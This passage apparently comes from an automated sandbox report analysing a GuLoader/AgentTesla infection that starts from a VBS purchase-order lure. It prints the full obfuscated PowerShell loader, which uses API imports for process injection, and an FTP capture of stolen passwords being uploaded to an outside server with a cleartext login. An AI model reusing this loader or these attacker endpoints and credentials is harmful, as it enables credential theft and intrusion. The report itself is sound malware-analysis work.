Nov 29, 2022 18:34:32.812616110 CET	159	IN	Data Raw: 8b 5b 99 39 33 d5 fe e7 7f 9c 3c a1 3f 23 fb 1b 23 e2 32 a5 53 af 9c cb c8 81 70 4a b4 5c c7 be e0 27 7d dd 47 9a 55 bb 62 47 81 23 f2 c9 a1 e7 5e 66 e9 91 02 67 a9 c5 ad 08 af 0e 9a ef 3d 76 bd 22 97 ed 98 8e ea 73 dd 2d 1a 98 a3 d6 ff f0 f2 0e Data Ascii: [93<?##2SpJ\'}GUbG#^fg=v"s-NGix]y{J\|s)H$(q/JESo+[OOUvC$_UKp=c0O`,Q<1hdR#%+D)FdH>3g{m#p~(V%Vd2?Y
Nov 29, 2022 18:34:32.812730074 CET	160	IN	Data Raw: b7 e2 e0 bb dc 78 e7 ea d2 6c 56 42 bb c3 c4 ec 43 d5 3e ce 96 5f 24 63 b8 69 a2 17 df dd ce 22 cc f3 59 32 44 f0 f7 a9 60 1b 3b f6 92 bc e9 b2 ad d0 22 be 7b 69 77 0d 11 7d b4 98 ca 9a 4c da 60 65 71 06 b9 16 10 32 a9 f4 d4 3f d3 78 ed b5 ce 7b Data Ascii: xlVBC>_$ci"Y2D`;"{iw}L`eq2?x{bq@70~UhXva[*BtnhY q5[/l#Jh%Kcxgm.6xlHoF>sSzca:C}BZ>hg6Yx:7BR;%Y"<5rT
Nov 29, 2022 18:34:32.812860012 CET	161	IN	Data Raw: 2c d7 72 28 93 3c 85 b2 28 75 f2 29 e3 9b ed 91 70 8f 19 a2 8d d5 03 cc b5 ce 50 55 22 9e 2d c7 99 5b 5b bf 84 26 45 27 1d db ab 91 97 26 49 ba 1e 0a 01 af 35 12 9e af 43 c6 7d 25 c5 fb fe 85 aa 19 38 4f 80 60 1b 2d dd 7e 3b 82 36 bd a4 91 08 b8 Data Ascii: ,r(<(u)pPU"-[[&E'&I5C}%8O`-~;6dT[82i9BH'O)f%X(hR)/l(ipyYA{'BV<!{}uXee0\&2G},94?Hkn3LQg5#e }TJZXN
Nov 29, 2022 18:34:32.972552061 CET	163	IN	Data Raw: 3c bd 68 87 a5 5f 58 96 47 1c 43 79 97 79 05 5b f1 ac cd 33 47 6d 70 aa e0 39 3b 28 11 de ef 59 ba 30 89 32 f0 89 93 f7 c5 50 65 a8 c8 7a a6 af 66 20 4b 71 e5 78 6b 48 5b 58 36 dc ed 9c 92 1b 1e b9 5d a0 78 df 1d 46 b1 d4 f4 9d 6b 14 59 fd fb e2 Data Ascii: <h_XGCyy[3Gmp9;(Y02Pezf KqxkH[X6]xFkYjaTQI%LQ91R =A,%XW#{`WQx2c%y'w5Q#.Wlsx76Ez2'{fU/It)h,

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49857	52.20.78.240	443	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp	Direction	Data
2022-11-29 17:34:39 UTC	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0 Host: api.ipify.org Connection: Keep-Alive
2022-11-29 17:34:39 UTC	IN	HTTP/1.1 200 OK Server: Cowboy Connection: close Content-Type: text/plain Vary: Origin Date: Tue, 29 Nov 2022 17:34:39 GMT Content-Length: 14 Via: 1.1 vegur
2022-11-29 17:34:39 UTC	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 38 34 Data Ascii: 102.129.143.84

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 29, 2022 18:34:46.696629047 CET	21	49858	185.31.121.136	192.168.11.20	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Nov 29, 2022 18:34:46.696991920 CET	49858	21	192.168.11.20	185.31.121.136	USER klogz@mcmprint.net
Nov 29, 2022 18:34:46.729505062 CET	21	49858	185.31.121.136	192.168.11.20	331 User klogz@mcmprint.net OK. Password required
Nov 29, 2022 18:34:46.729799986 CET	49858	21	192.168.11.20	185.31.121.136	PASS l9Hh{#_(0shZ
Nov 29, 2022 18:34:46.780364990 CET	21	49858	185.31.121.136	192.168.11.20	230 OK. Current restricted directory is /
Nov 29, 2022 18:34:46.813596010 CET	21	49858	185.31.121.136	192.168.11.20	504 Unknown command
Nov 29, 2022 18:34:46.813944101 CET	49858	21	192.168.11.20	185.31.121.136	PWD
Nov 29, 2022 18:34:46.846718073 CET	21	49858	185.31.121.136	192.168.11.20	257 "/" is your current location
Nov 29, 2022 18:34:46.847259998 CET	49858	21	192.168.11.20	185.31.121.136	CWD /
Nov 29, 2022 18:34:46.879990101 CET	21	49858	185.31.121.136	192.168.11.20	250 OK. Current directory is /
Nov 29, 2022 18:34:46.880294085 CET	49858	21	192.168.11.20	185.31.121.136	TYPE I
Nov 29, 2022 18:34:46.912998915 CET	21	49858	185.31.121.136	192.168.11.20	200 TYPE is now 8-bit binary
Nov 29, 2022 18:34:46.913393021 CET	49858	21	192.168.11.20	185.31.121.136	PASV
Nov 29, 2022 18:34:46.946330070 CET	21	49858	185.31.121.136	192.168.11.20	227 Entering Passive Mode (185,31,121,136,233,124)
Nov 29, 2022 18:34:46.981738091 CET	49858	21	192.168.11.20	185.31.121.136	STOR PW_user-888683_2022_11_29_18_34_43.html
Nov 29, 2022 18:34:47.016505957 CET	21	49858	185.31.121.136	192.168.11.20	150 Accepted data connection
Nov 29, 2022 18:34:47.049491882 CET	21	49858	185.31.121.136	192.168.11.20	226-File successfully transferred 226-File successfully transferred226 0.033 seconds (measured here), 13.16 Kbytes per second
Nov 29, 2022 18:36:26.444715977 CET	21	49858	185.31.121.136	192.168.11.20	226 Logout.

Target ID:	2
Start time:	18:33:27
Start date:	29/11/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs"
Imagebase:	0x7ff7414d0000
File size:	170496 bytes
MD5 hash:	0639B0A6F69B3265C1E42227D650B7D1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	4
Start time:	18:33:28
Start date:	29/11/2022
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	CMD.EXE /c echo C:\Windows
Imagebase:	0x7ff687d50000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	5
Start time:	18:33:28
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f8160000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	6
Start time:	18:33:33
Start date:	29/11/2022
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEnhPorBieSoaVadEmABlfPafPaiChnFeimitSpySlMPraNisBrkab(CeiNgnCatCr teRBeedebOuuFoiAflUn,BriSlnFitBa SuSTeeAnmHeiDasRr)Ho;Ba[TrDTrlSplVaIMamSapMaoCortitPr(Ud`"""StuNosKoeJorEl3En2Sp`"""St)Bu]chpReuBlbGulFliCacUn OusOutScaUntGoiRecor SteabxArtcheSerBunFo PoiRenJotMi SpSKoeAftJuMEmeInnReuBjIPrtFieStmXeIHongefFeoSi(OpiTrnmotSu ReCRhaBlbBrrSoiSk,AaiDonSktDo reOTepFiaNolUt,UniBunSutFl ClHskaFoaEn,whiHinSptIn GaARemCopFluPr)Ti;Ge}As'Et;Sp`$SpTPtuDueudiKorTooTonPi3Lu=Oo[JgTShuAueAuiFrrAcoovnRe1Bi]Ac:Do:LiVAnikdrBltniuSwaNolWeAStldelNooFocFo(Va0Co,Dr1Un0Ha4An8In5Un7Im6He,al1En2Pr2Ek8St8Gu,Bl6Co4Un)Pe;Ro`$ProFurUpnSaiBetTrhProAasChaBruDarTiiEsaSlnKi=Fi(EkGReeustDe-PrIDetBeeRemSkPGurPloPipReeStrSktMiyOt Ej-JePVeaMatrehTr Sn'EfHPrKTrCuaUSp:Vi\DePgoeMidpnaMigunoOvgCl\ReDCaeVofHmiIbbZerHaiFolSolcoaBatRaiChoPunoveBlnDosMo'Sk)Le.CaELilPluFrtFoiPyoFrnQu;ir`$PoiTanPotGouCurBinHveSidAl Po=sp er[PrSAeyKosIntUneTymTi.LuCGaoUbnDavTheAarIntNe]Ox:Zi:ApFGurMuoCamSoBAwaResFreHo6Sa4StSNitLnrUniGunUngFo(St`$ApobjrAunCriIntCohUnoPosUnaKeuMarAniNoaUnnAr)Fo;Sk[TrSEjyAfsVitWaeTimre.GeRGnuFonUntStiKrmUneJo.trILenSatHeeGorsioLopSeSSteDarchvMeiBicBoeEssAj.FeMBraAprNjsFohUnaUnlBa]Me:Ov:haCUdoBrpFjyBr(Ne`$DaiKanBetSluAnrOmnLgePidRe,Sc Fe0yo,Su Na Ko`$PeTMuuUneLiizirEmoannin3Do,Ci Pl`$RiiXanMitSpuSorThnTeeRedMa.SocAloStuRhnKotsp)Ta;Un[FaTKouveeLsifarNooPrnFr1st]Be:Dy:EsEManNouUnmboSUnyTisAstDieMomViLTeoBecDeaUrlBueUnsNoWUn(Po`$AbTPruSyePriAurSkoSinPr3Sk,Uk St0Ha)Ug#Sm;""";Function Tueiron4 { param([String]$sheikdmmerne); For($circumtropical=2; $circumtropical -lt $sheikdmmerne.Length-1; $circumtropical+=(2+1)){ $Driblende = $Driblende + $sheikdmmerne.Substring($circumtropical, 1); } $Driblende;}$Reptilious0 = Tueiron4 'DaIKgEtiXSk ';$Reptilious1= Tueiron4 $Biliate;&$Reptilious0 $Reptilious1;;
Imagebase:	0x910000
File size:	433152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Target ID:	7
Start time:	18:33:33
Start date:	29/11/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f8160000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	10
Start time:	18:33:59
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline
Imagebase:	0x610000
File size:	2141552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Show Windows behavior

Target ID:	11
Start time:	18:34:00
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"
Imagebase:	0x5a0000
File size:	46832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Target ID:	12
Start time:	18:34:20
Start date:	29/11/2022
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
Imagebase:	0xcd0000
File size:	106496 bytes
MD5 hash:	7BAE06CBE364BB42B8C34FCFB90E3EBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.1%
Total number of Nodes:	74
Total number of Limit Nodes:	5

Executed Functions

Function 008EEB28 Relevance: 2.0, Strings: 1, Instructions: 724
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`Jk, xrefs: 008EF509

Memory Dump Source

Source File: 00000006.00000002.86723151942.00000000008E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 008E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_8e0000_powershell.jbxd

Similarity

API ID:
String ID: `Jk
API String ID: 0-1734348141
Opcode ID: e83f7110730d65ae66f78267a05c5f195fe49b53f99e95a3bc341159443990c6
Instruction ID: 5d6904fe00d3c26f5b75f94b59fe9a32649ab873679c4b4b929450fce9881aee
Opcode Fuzzy Hash: e83f7110730d65ae66f78267a05c5f195fe49b53f99e95a3bc341159443990c6
Instruction Fuzzy Hash: 73526E30600259DFDB24DF65C850B9AB3B2FF89308F1185A9E909EB7A1DB35ED45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 079DD7E4 Relevance: 1.6, APIs: 1, Instructions: 128pipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 079DDFF8

Memory Dump Source

Source File: 00000006.00000002.86783844904.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79d0000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID:
API String ID: 2489174969-0
Opcode ID: ddcecb447c638b14b24fd12664203ad33bc2aea2b9e4064cc59a53b0c1e5a76e
Instruction ID: 6bccc5fba5a8b32ce94d8fcbe06a7931902779ff116e29f3210e72f1944c9cf2
Opcode Fuzzy Hash: ddcecb447c638b14b24fd12664203ad33bc2aea2b9e4064cc59a53b0c1e5a76e
Instruction Fuzzy Hash: 825126B1D00348EFDB14CFA9C988B8EBBF6AF49304F25C42AE508AB251D7745884CF51

Uniqueness

Uniqueness Score: -1.00%

Function 07B429F0 Relevance: 1.6, Strings: 1, Instructions: 331COMMON

Download Yara Rule

Strings

`Jk, xrefs: 07B42D40

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk
API String ID: 0-1734348141
Opcode ID: 08fb77d39ebd471e099c36a2b343c58fa60d5c7a295c88b0b5430b5268f367db
Instruction ID: 6dd0048209643502cc1784e3d220ef2840ae0b2130f5974faedf27a32e0f903b
Opcode Fuzzy Hash: 08fb77d39ebd471e099c36a2b343c58fa60d5c7a295c88b0b5430b5268f367db
Instruction Fuzzy Hash: E6C1AFB13042159FC704EB28C881A9E73A3FFC4304B468A68D509CB756DF74BE4A8BA5

Uniqueness

Uniqueness Score: -1.00%

Function 079D91C8 Relevance: 1.2, Instructions: 1212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86783844904.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b3f557d920b6d7f32c26bfd412484f62f4f93ffcd2a42da12575f28935a8948
Instruction ID: 615504e2e0a90bf0472dc3dd32a8c8034dddd78487543318e06c6ebdbb8b812c
Opcode Fuzzy Hash: 5b3f557d920b6d7f32c26bfd412484f62f4f93ffcd2a42da12575f28935a8948
Instruction Fuzzy Hash: 5CB29BB4A14205DFCB15DFA4C985BAEBBB6FB89308F248169E8059B352DB35EC41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 079DE7B0 Relevance: .6, Instructions: 634COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86783844904.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4126f146ebe7c1f18d3efa9c1dd6c70e9aa211ad2aa24e132b25afecd5318948
Instruction ID: 6c02cd555a049431725b4065f1b432c656770043fa351509c7d64b84b8290400
Opcode Fuzzy Hash: 4126f146ebe7c1f18d3efa9c1dd6c70e9aa211ad2aa24e132b25afecd5318948
Instruction Fuzzy Hash: 5142BE70B002259FDB54DB64C841BA9B7B6EF88304F11C5AAE9097B395DF71AD81CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 079DE7A0 Relevance: .4, Instructions: 366COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86783844904.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09464d50d475428b7c04b3321ef72503acb5a3ec2c3266b79e62930d704855d4
Instruction ID: 20f73e37662991ce81c3cb04f97381a0f37335bb0bbd9ed66237e36ad66f5db7
Opcode Fuzzy Hash: 09464d50d475428b7c04b3321ef72503acb5a3ec2c3266b79e62930d704855d4
Instruction Fuzzy Hash: 8BE1CF70B002259FDB559B64C841BEEB7B6EF89304F01C1AAE5097B395DF74AD81CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 079D7180 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.86783844904.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1c95db7162ca0e0e4f1cb13f81e7676a846a016084153e58e3b44f1e96c479
Instruction ID: 40a8c003ca982b269fc38aafdd5b221ecb91c1b0185d1915ad5f96a869964cea
Opcode Fuzzy Hash: ad1c95db7162ca0e0e4f1cb13f81e7676a846a016084153e58e3b44f1e96c479
Instruction Fuzzy Hash: 20A19EB4600201DFE719DF64D9597AEBBF6AF88308F14C569E4129B3A1CB74DC81CB81

Uniqueness

Uniqueness Score: -1.00%

Function 07B4EDF0 Relevance: 12.0, Strings: 9, Instructions: 731
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`Jk, xrefs: 07B4F0A1
`Jk, xrefs: 07B4F0DD
`Jk, xrefs: 07B4F5C7
`Jk, xrefs: 07B4F254
`Jk, xrefs: 07B4F083
`Jk, xrefs: 07B4F0BF
`Jk, xrefs: 07B4F4B9
`Jk, xrefs: 07B4F2A2
`Jk, xrefs: 07B4EED1

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk$`Jk$`Jk$`Jk$`Jk$`Jk$`Jk$`Jk$`Jk
API String ID: 0-2472493246
Opcode ID: bf334a26a60a55685fe9f03e7d9ecd564aac15ff10638ca9b171da9ed05b3fa7
Instruction ID: 8a048be2a72636314ef664ffecae1802b8043d77f4e73b172fe86d02531dd3e4
Opcode Fuzzy Hash: bf334a26a60a55685fe9f03e7d9ecd564aac15ff10638ca9b171da9ed05b3fa7
Instruction Fuzzy Hash: D94212B0B042058FDB14DF78D854AAEBBB2FF88314F0485A9D516DB791DB34AC46CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07B45068 Relevance: 6.5, Strings: 5, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`Jk, xrefs: 07B45291
`Jk, xrefs: 07B45312
`Jk, xrefs: 07B45273
`Jk, xrefs: 07B4524F
`Jk, xrefs: 07B45209

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk$`Jk$`Jk$`Jk$`Jk
API String ID: 0-972079744
Opcode ID: 63928d168d22a9fd9f4ad81631da412ad1642af836c5636550e5ef944f9f5905
Instruction ID: 58b50f9d9144ba60939b0e3ee257fb608b1edce3e54d13a51d1bd4f25a2a7c99
Opcode Fuzzy Hash: 63928d168d22a9fd9f4ad81631da412ad1642af836c5636550e5ef944f9f5905
Instruction Fuzzy Hash: E281D3B07042049FD724EB78D85566F77A7EFC8314F118528E60ADB391DF389D828BA6

Uniqueness

Uniqueness Score: -1.00%

Function 07B44080 Relevance: 5.5, Strings: 4, Instructions: 524
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`Jk, xrefs: 07B44676
`Jk, xrefs: 07B445C4
`Jk, xrefs: 07B445FB
`Jk, xrefs: 07B44597

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk$`Jk$`Jk$`Jk
API String ID: 0-4073607989
Opcode ID: fef8122b7b77a935bf712384ed75bbf52c5cfd66887f282011172cba6943cd7f
Instruction ID: f0b111a716198c32aa386adf563e179cd2657f38ea49359388b88293f0be3199
Opcode Fuzzy Hash: fef8122b7b77a935bf712384ed75bbf52c5cfd66887f282011172cba6943cd7f
Instruction Fuzzy Hash: A812CEB0B002549FDB14DF68E594AADB7F2EF89310F2540A9E905EB361CB34ED85CB61

Uniqueness

Uniqueness Score: -1.00%

Function 07B4DDA8 Relevance: 5.3, Strings: 4, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`Jk, xrefs: 07B4DE8C
`Jk, xrefs: 07B4E025
`Jk, xrefs: 07B4DF5A
`Jk, xrefs: 07B4DF78

Memory Dump Source

Source File: 00000006.00000002.86785666271.0000000007B40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7b40000_powershell.jbxd

Similarity

API ID:
String ID: `Jk$`Jk$`Jk$`Jk
API String ID: 0-4073607989
Opcode ID: 92a3a22ee728c219a9914c1f8b3eff1f2a034f4ae956659ee5137236a64097d6
